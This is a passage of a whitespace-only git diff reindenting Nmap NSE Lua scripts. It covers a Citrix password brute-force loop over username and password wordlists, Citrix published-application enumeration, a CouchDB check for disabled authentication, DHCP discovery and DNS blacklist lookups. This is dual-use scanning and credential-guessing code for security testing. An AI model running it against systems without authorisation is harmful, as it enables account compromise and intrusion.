account end @@ -97,68 +97,68 @@ end -- @return string containing the result function create_result_from_table(accounts) - local result = "" + local result = "" - for _, account in ipairs(accounts) do - result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n" - end + for _, account in ipairs(accounts) do + result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n" + end - return "\n" .. result + return "\n" .. result end action = function(host, port) - local status, nextUser, nextPass - local username, password - local args = nmap.registry.args - local ntdomain = args.ntdomain - local valid_accounts = {} + local status, nextUser, nextPass + local username, password + local args = nmap.registry.args + local ntdomain = args.ntdomain + local valid_accounts = {} - if not ntdomain then - return "FAILED: No domain specified (use ntdomain argument)" - end + if not ntdomain then + return "FAILED: No domain specified (use ntdomain argument)" + end - status, nextUser = unpwdb.usernames() + status, nextUser = unpwdb.usernames() - if not status then - return - end + if not status then + return + end - status, nextPass = unpwdb.passwords() + status, nextPass = unpwdb.passwords() - if not status then - return - end + if not status then + return + end - username = nextUser() + username = nextUser() - -- iterate over userlist - while username do - password = nextPass() + -- iterate over userlist + while username do + password = nextPass() - -- iterate over passwordlist - while password do - local result = "Trying " .. username .. "/" .. password .. " " - local account = verify_password(host.ip, port.number, username, password, ntdomain) + -- iterate over passwordlist + while password do + local result = "Trying " .. username .. "/" .. password .. " " + local account = verify_password(host.ip, port.number, username, password, ntdomain) - if account.valid then + if account.valid then - table.insert(valid_accounts, account) + table.insert(valid_accounts, account) - if account.valid then - stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message) - else - stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password) - end - else - stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message) - end - password = nextPass() - end + if account.valid then + stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message) + else + stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password) + end + else + stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message) + end + password = nextPass() + end - nextPass("reset") - username = nextUser() - end + nextPass("reset") + username = nextUser() + end - return create_result_from_table(valid_accounts) + return create_result_from_table(valid_accounts) end diff --git a/scripts/citrix-enum-apps.nse b/scripts/citrix-enum-apps.nse index 53a080f63..9c0dfe323 100644 --- a/scripts/citrix-enum-apps.nse +++ b/scripts/citrix-enum-apps.nse @@ -42,119 +42,119 @@ portrule = shortport.portnumber(1604, "udp") -- @return string row delimited with \n containing all published applications function process_pa_response(response) - local pos, packet_len = bin.unpack("SS", response) - local app_name - local pa_list = {} + local pos, packet_len = bin.unpack("SS", response) + local app_name + local pa_list = {} - if packet_len < 40 then - return - end + if packet_len < 40 then + return + end - -- the list of published applications starts at offset 40 - local offset = 41 + -- the list of published applications starts at offset 40 + local offset = 41 - while offset < packet_len do - pos, app_name = bin.unpack("z", response:sub(offset)) - offset = offset + pos - 1 + while offset < packet_len do + pos, app_name = bin.unpack("z", response:sub(offset)) + offset = offset + pos - 1 - table.insert(pa_list, app_name) - end + table.insert(pa_list, app_name) + end - return pa_list + return pa_list end action = function(host, port) - local packet, counter - local query = {} - local pa_list = {} + local packet, counter + local query = {} + local pa_list = {} - -- - -- Packets were intercepted from the Citrix Program Neighborhood client - -- They are used to query a server for it's list of servers - -- - -- We're really not interested in the responses to the first two packets - -- The third response contains the list of published applications - -- I couldn't find any documentation on this protocol so I'm providing - -- some brief information for the bits and bytes this script uses. - -- - -- Spec. of response to query[2] that contains a list of published apps - -- - -- offset size content - -- ------------------------- - -- 0 16-bit Length - -- 12 32-bit Server IP (not used here) - -- 30 8-bit Last packet (1), More packets(0) - -- 40 - null-separated list of applications - -- - query[0] = string.char( - 0x1e, 0x00, -- Length: 30 - 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00 - ) + -- + -- Packets were intercepted from the Citrix Program Neighborhood client + -- They are used to query a server for it's list of servers + -- + -- We're really not interested in the responses to the first two packets + -- The third response contains the list of published applications + -- I couldn't find any documentation on this protocol so I'm providing + -- some brief information for the bits and bytes this script uses. + -- + -- Spec. of response to query[2] that contains a list of published apps + -- + -- offset size content + -- ------------------------- + -- 0 16-bit Length + -- 12 32-bit Server IP (not used here) + -- 30 8-bit Last packet (1), More packets(0) + -- 40 - null-separated list of applications + -- + query[0] = string.char( + 0x1e, 0x00, -- Length: 30 + 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 + ) - query[1] = string.char( - 0x20, 0x00, -- Length: 32 - 0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - ) + query[1] = string.char( + 0x20, 0x00, -- Length: 32 + 0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ) - query[2] = string.char( - 0x2a, 0x00, -- Length: 42 - 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - ) + query[2] = string.char( + 0x2a, 0x00, -- Length: 42 + 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ) - counter = 0 + counter = 0 - local socket = nmap.new_socket() - socket:set_timeout(5000) + local socket = nmap.new_socket() + socket:set_timeout(5000) - local try = nmap.new_try(function() socket:close() end) + local try = nmap.new_try(function() socket:close() end) - try( socket:connect(host, port) ) + try( socket:connect(host, port) ) - -- send the two first packets and never look back - repeat - try( socket:send(query[counter]) ) - packet = try(socket:receive()) - counter = counter + 1 - until (counter>#query) + -- send the two first packets and never look back + repeat + try( socket:send(query[counter]) ) + packet = try(socket:receive()) + counter = counter + 1 + until (counter>#query) - -- process the first response - pa_list = process_pa_response( packet ) + -- process the first response + pa_list = process_pa_response( packet ) - -- - -- the byte at offset 31 in the response has a really magic function - -- if it is set to zero (0) we have more response packets to process - -- if it is set to one (1) we have arrived at the last packet of our journey - -- - while packet:sub(31,31) ~= string.char(0x01) do - packet = try( socket:receive() ) - local tmp_table = process_pa_response( packet ) + -- + -- the byte at offset 31 in the response has a really magic function + -- if it is set to zero (0) we have more response packets to process + -- if it is set to one (1) we have arrived at the last packet of our journey + -- + while packet:sub(31,31) ~= string.char(0x01) do + packet = try( socket:receive() ) + local tmp_table = process_pa_response( packet ) - for _,v in pairs(tmp_table) do - table.insert(pa_list, v) - end + for _,v in pairs(tmp_table) do + table.insert(pa_list, v) + end - end + end - -- set port to open - if #pa_list>0 then - nmap.set_port_state(host, port, "open") - end + -- set port to open + if #pa_list>0 then + nmap.set_port_state(host, port, "open") + end - socket:close() + socket:close() - return stdnse.format_output(true, pa_list) + return stdnse.format_output(true, pa_list) end diff --git a/scripts/couchdb-stats.nse b/scripts/couchdb-stats.nse index e9d7eebe4..b03096caf 100644 --- a/scripts/couchdb-stats.nse +++ b/scripts/couchdb-stats.nse @@ -51,7 +51,7 @@ categories = {"discovery", "safe"} portrule = shortport.port_or_service({5984}) -- Some lazy shortcuts local function dbg(str,...) - stdnse.print_debug("couchdb-stats:"..str, ...) + stdnse.print_debug("couchdb-stats:"..str, ...) end @@ -62,112 +62,112 @@ local DISCARD = {stddev=1,min=1,max=1, mean=1} -- @param data a table containg data --@return another table containing data, with some keys removed local function queryResultToTable(data) - local result = {} - for k,v in pairs(data) do - dbg("(%s,%s)",k,tostring(v)) - if DISCARD[k] ~= 1 then - if type(v) == 'table' then - if v["description"] ~= nil then - k = string.format("%s (%s)",tostring(k), tostring(v["description"])) - v["description"] = nil - end - table.insert(result,k) - table.insert(result,queryResultToTable(v)) - else - table.insert(result,(("%s = %s"):format(tostring(k), tostring(v)))) - end - end - end - return result + local result = {} + for k,v in pairs(data) do + dbg("(%s,%s)",k,tostring(v)) + if DISCARD[k] ~= 1 then + if type(v) == 'table' then + if v["description"] ~= nil then + k = string.format("%s (%s)",tostring(k), tostring(v["description"])) + v["description"] = nil + end + table.insert(result,k) + table.insert(result,queryResultToTable(v)) + else + table.insert(result,(("%s = %s"):format(tostring(k), tostring(v)))) + end + end + end + return result end action = function(host, port) - local data, result, err + local data, result, err - data = http.get( host, port, '/_stats' ) + data = http.get( host, port, '/_stats' ) - -- check that body was received - if not data.body or data.body == "" then - local msg = ("%s did not respond with any data."):format(host.targetname or host.ip ) - dbg( msg ) - return msg - end + -- check that body was received + if not data.body or data.body == "" then + local msg = ("%s did not respond with any data."):format(host.targetname or host.ip ) + dbg( msg ) + return msg + end - -- The html body should look like this : - -- - --{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}} + -- The html body should look like this : + -- + --{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}} - local status, result = json.parse(data.body) - if not status then - dbg(result) - return result - end + local status, result = json.parse(data.body) + if not status then + dbg(result) + return result + end - -- Here we know it is a couchdb - port.version.name ='httpd' - port.version.product='Apache CouchDB' - nmap.set_port_version(host,port) + -- Here we know it is a couchdb + port.version.name ='httpd' + port.version.product='Apache CouchDB' + nmap.set_port_version(host,port) - -- We have a valid table in result containing the parsed json - -- now, get all the interesting bits + -- We have a valid table in result containing the parsed json + -- now, get all the interesting bits - result = queryResultToTable(result) + result = queryResultToTable(result) - -- Additionally, we can check if authentication is used : - -- The following actions are restricted if auth is used --- create db (PUT /database) --- delete db (DELETE /database) --- Creating a design document (PUT /database/_design/app) --- Updating a design document (PUT /database/_design/app?rev=1-4E2) --- Deleting a design document (DELETE /database/_design/app?rev=1-6A7) --- Triggering compaction (POST /_compact) --- Reading the task status list (GET /_active_tasks) --- Restart the server (POST /_restart) --- Read the active configuration (GET /_config) --- Update the active configuration (PUT /_config) + -- Additionally, we can check if authentication is used : + -- The following actions are restricted if auth is used + -- create db (PUT /database) + -- delete db (DELETE /database) + -- Creating a design document (PUT /database/_design/app) + -- Updating a design document (PUT /database/_design/app?rev=1-4E2) + -- Deleting a design document (DELETE /database/_design/app?rev=1-6A7) + -- Triggering compaction (POST /_compact) + -- Reading the task status list (GET /_active_tasks) + -- Restart the server (POST /_restart) + -- Read the active configuration (GET /_config) + -- Update the active configuration (PUT /_config) - data = http.get( host, port, '/_config' ) - local status, authresult = json.parse(data.body) + data = http.get( host, port, '/_config' ) + local status, authresult = json.parse(data.body) - -- If authorization is used, we should get back something like - -- {"error":"unauthorized","reason":"You are not a server admin."} - -- Otherwise, a *lot* of data, : --- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}", --- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}", --- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"}, --- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}", --- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}", --- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}", --- "_config":"{couch_httpd_misc_handlers, handle_config_req}", --- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}", --- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}", --- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}", --- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}", --- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}", --- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"}, --- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"}, --- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"}, --- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}", --- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}", --- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}", --- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"}, --- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}", --- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}", --- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}", --- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"}, --- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"}, --- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true", --- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296", --- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}} - local auth = "Authentication : %s" - local authEnabled = "unknown" + -- If authorization is used, we should get back something like + -- {"error":"unauthorized","reason":"You are not a server admin."} + -- Otherwise, a *lot* of data, : + -- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}", + -- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}", + -- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"}, + -- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}", + -- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}", + -- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}", + -- "_config":"{couch_httpd_misc_handlers, handle_config_req}", + -- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}", + -- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}", + -- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}", + -- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}", + -- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}", + -- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"}, + -- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"}, + -- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"}, + -- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}", + -- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}", + -- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}", + -- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"}, + -- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}", + -- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}", + -- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}", + -- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"}, + -- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"}, + -- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true", + -- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296", + -- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}} + local auth = "Authentication : %s" + local authEnabled = "unknown" - if(status) then - if(authresult["error"] == "unauthorized") then authEnabled = "enabled" - elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')" - end - end - table.insert(result, auth:format(authEnabled)) - return stdnse.format_output(true, result ) + if(status) then + if(authresult["error"] == "unauthorized") then authEnabled = "enabled" + elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')" + end + end + table.insert(result, auth:format(authEnabled)) + return stdnse.format_output(true, result ) end diff --git a/scripts/dhcp-discover.nse b/scripts/dhcp-discover.nse index b2dc9142a..67a424d11 100644 --- a/scripts/dhcp-discover.nse +++ b/scripts/dhcp-discover.nse @@ -70,98 +70,98 @@ categories = {"discovery", "safe"} -- We want to run against a specific host if UDP/67 is open function portrule(host, port) - if nmap.address_family() ~= 'inet' then - stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) - return false - end + if nmap.address_family() ~= 'inet' then + stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) + return false + end - return shortport.portnumber(67, "udp")(host, port) + return shortport.portnumber(67, "udp")(host, port) end local function go(host, port) - -- Build and send a DHCP request using the specified request type, or DHCPINFORM - local requests = tonumber(nmap.registry.args.requests or 1) - local results = {} - for i = 1, requests, 1 do - -- Decide which type of request to make - local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"] - if(request_type == nil) then - return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str) - end + -- Build and send a DHCP request using the specified request type, or DHCPINFORM + local requests = tonumber(nmap.registry.args.requests or 1) + local results = {} + for i = 1, requests, 1 do + -- Decide which type of request to make + local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"] + if(request_type == nil) then + return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str) + end - -- Generate the MAC address, if it's random - local mac_addr = host.mac_addr_src - if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then - stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address") - mac_addr = "" - for j=1, 6, 1 do - mac_addr = mac_addr .. string.char(math.random(1, 255)) - end - end + -- Generate the MAC address, if it's random + local mac_addr = host.mac_addr_src + if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then + stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address") + mac_addr = "" + for j=1, 6, 1 do + mac_addr = mac_addr .. string.char(math.random(1, 255)) + end + end - local iface, err = nmap.get_interface_info(host.interface) - if ( not(iface) or not(iface.address) ) then - return false, "Couldn't determine local ip for interface: " .. host.interface - end + local iface, err = nmap.get_interface_info(host.interface) + if ( not(iface) or not(iface.address) ) then + return false, "Couldn't determine local ip for interface: " .. host.interface + end - local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr) - if( not(status) ) then - stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result) - return false, result - end + local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr) + if( not(status) ) then + stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result) + return false, result + end - table.insert(results, result) - end + table.insert(results, result) + end - -- Done! - return true, results + -- Done! + return true, results end action = function(host, port) - local status, results = go(host, port) + local status, results = go(host, port) - if(not(status)) then - return stdnse.format_output(false, results) - end + if(not(status)) then + return stdnse.format_output(false, results) + end - if(not(results)) then - return nil - end + if(not(results)) then + return nil + end - -- Set the port state to open - if(host) then - nmap.set_port_state(host, port, "open") - end + -- Set the port state to open + if(host) then + nmap.set_port_state(host, port, "open") + end - local response = {} + local response = {} - -- Display the results - for i, result in ipairs(results) do - local result_table = {} + -- Display the results + for i, result in ipairs(results) do + local result_table = {} - if ( nmap.registry.args.dhcptype and - "DHCPINFORM" ~= nmap.registry.args.dhcptype ) then - table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str)) - end - for _, v in ipairs(result.options) do - if(type(v['value']) == 'table') then - table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value']))) - else - table.insert(result_table, string.format("%s: %s\n", v['name'], v['value'])) - end - end + if ( nmap.registry.args.dhcptype and + "DHCPINFORM" ~= nmap.registry.args.dhcptype ) then + table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str)) + end + for _, v in ipairs(result.options) do + if(type(v['value']) == 'table') then + table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value']))) + else + table.insert(result_table, string.format("%s: %s\n", v['name'], v['value'])) + end + end - if(#results == 1) then - response = result_table - else - result_table['name'] = string.format("Result %d of %d", i, #results) - table.insert(response, result_table) - end - end + if(#results == 1) then + response = result_table + else + result_table['name'] = string.format("Result %d of %d", i, #results) + table.insert(response, result_table) + end + end - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/dns-blacklist.nse b/scripts/dns-blacklist.nse index 1c618df46..420a659ac 100644 --- a/scripts/dns-blacklist.nse +++ b/scripts/dns-blacklist.nse @@ -78,100 +78,100 @@ categories = {"external", "safe"} hostrule = function() return true end prerule = function() return true end -local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip") -local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long" -local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list") -local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services") +local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip") +local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long" +local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list") +local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services") local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all" local function listServices() - local result = {} - if ( "all" == arg_category ) then - for cat in pairs(dnsbl.SERVICES) do - local helper = dnsbl.Helper:new(cat, arg_mode) - local cat_res= helper:listServices() - cat_res.name = cat - table.insert(result, cat_res) - end - else - result = dnsbl.Helper:new(arg_category, arg_mode):listServices() - end - return stdnse.format_output(true, result) + local result = {} + if ( "all" == arg_category ) then + for cat in pairs(dnsbl.SERVICES) do + local helper = dnsbl.Helper:new(cat, arg_mode) + local cat_res= helper:listServices() + cat_res.name = cat + table.insert(result, cat_res) + end + else + result = dnsbl.Helper:new(arg_category, arg_mode):listServices() + end + return stdnse.format_output(true, result) end local function formatResult(result) - local output = {} - for _, svc in ipairs(result) do - if ( svc.result.details ) then - svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state) - table.insert(output, svc.result.details) - else - table.insert(output, ("%s - %s"):format(svc.name, svc.result.state)) - end - end - return output + local output = {} + for _, svc in ipairs(result) do + if ( svc.result.details ) then + svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state) + table.insert(output, svc.result.details) + else + table.insert(output, ("%s - %s"):format(svc.name, svc.result.state)) + end + end + return output end dnsblAction = function(host) - local helper - if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then - return "\n ERROR: A service filter can't be used without a specific category" - elseif( "all" ~= arg_category ) then - helper = dnsbl.Helper:new(arg_category, arg_mode) - helper:setFilter(arg_services) - local status, err = helper:validateFilter() - if ( not(status) ) then - return ("\n ERROR: %s"):format(err) - end - end + local helper + if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then + return "\n ERROR: A service filter can't be used without a specific category" + elseif( "all" ~= arg_category ) then + helper = dnsbl.Helper:new(arg_category, arg_mode) + helper:setFilter(arg_services) + local status, err = helper:validateFilter() + if ( not(status) ) then + return ("\n ERROR: %s"):format(err) + end + end - local output = {} - if ( helper ) then - local result = helper:checkBL(host.ip) - if ( #result == 0 ) then return end - output = formatResult(result) - else - for cat in pairs(dnsbl.SERVICES) do - helper = dnsbl.Helper:new(cat, arg_mode) - local result = helper:checkBL(host.ip) - local out_part = formatResult(result) - if ( #out_part > 0 ) then - out_part.name = cat - table.insert(output, out_part) - end - end - if ( #output == 0 ) then return end - end + local output = {} + if ( helper ) then + local result = helper:checkBL(host.ip) + if ( #result == 0 ) then return end + output = formatResult(result) + else + for cat in pairs(dnsbl.SERVICES) do + helper = dnsbl.Helper:new(cat, arg_mode) + local result = helper:checkBL(host.ip) + local out_part = formatResult(result) + if ( #out_part > 0 ) then + out_part.name = cat + table.insert(output, out_part) + end + end + if ( #output == 0 ) then return end + end - if ( "prerule" == SCRIPT_TYPE ) then - output.name = host.ip - end + if ( "prerule" == SCRIPT_TYPE ) then + output.name = host.ip + end - return stdnse.format_output(true, output) + return stdnse.format_output(true, output) end -- execute the action function corresponding to the current rule action = function(...) - if ( arg_mode ~= "short" and arg_mode ~= "long" ) then - return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'" - end + if ( arg_mode ~= "short" and arg_mode ~= "long" ) then + return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'" + end - if ( arg_IP and not(ipOps.todword(arg_IP)) ) then - return "\n ERROR: Invalid IP address was supplied" - end + if ( arg_IP and not(ipOps.todword(arg_IP)) ) then + return "\n ERROR: Invalid IP address was supplied" + end - -- if the list argument was given, just list the services and abort - if ( arg_list ) then - return listServices() - end + -- if the list argument was given, just list the services and abort + if ( arg_list ) then + return listServices() + end - if ( arg_IP and "prerule" == SCRIPT_TYPE ) then - return dnsblAction( { ip = arg_IP } ) - elseif ( "hostrule" == SCRIPT_TYPE ) then - return dnsblAction(...) - end + if ( arg_IP and "prerule" == SCRIPT_TYPE ) then + return dnsblAction( { ip = arg_IP } ) + elseif ( "hostrule" == SCRIPT_TYPE ) then + return dnsblAction(...) + end end diff --git a/scripts/dns-srv-enum.nse b/scripts/dns-srv-enum.nse index 5707b65f1..83283c357 100644 --- a/scripts/dns-srv-enum.nse +++ b/scripts/dns-srv-enum.nse @@ -69,113 +69,113 @@ local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter") prerule = function() return not(not(arg_domain)) end local function parseSvcList(services) - local i = 1 - return function() - local svc = services[i] - if ( svc ) then - i=i + 1 - else - return - end - return svc.name, svc.query - end + local i = 1 + return function() + local svc = services[i] + if ( svc ) then + i=i + 1 + else + return + end + return 